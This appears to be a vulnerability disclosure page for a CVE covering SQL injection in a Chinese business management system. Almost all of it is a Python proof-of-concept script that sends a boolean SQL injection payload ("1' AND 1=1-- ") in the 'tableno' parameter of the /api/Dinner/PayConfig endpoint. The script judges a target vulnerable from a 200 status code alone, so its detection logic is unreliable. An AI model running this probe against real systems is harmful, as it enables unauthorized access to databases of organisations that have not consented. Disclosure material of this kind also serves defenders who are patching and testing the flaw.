CVE-2026-9544: 深圳讯速软件商汇集团商务管理系统SQL注入漏洞

import requests def check_sql_injection(url): # Target endpoint vulnerable to SQL Injection target_url = f"{url}/api/Dinner/PayConfig" # Malicious payload to test SQL injection in 'tableno' parameter # Using a simple logical check to verify vulnerability payload = { "tableno": "1' AND 1=1-- " } try: # Sending request to the target response = requests.get(target_url, params=payload, timeout=5) # Analyzing response (Logic depends on application behavior) # If the response is different from a normal request, it might be vulnerable if response.status_code == 200: print(f"[+] Potential SQL Injection found at {target_url}") print(f"[+] Response length: {len(response.text)}") else: print("[-] Target may not be vulnerable or request failed.") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target IP or domain target_host = "http://target-ip" check_sql_injection(target_host)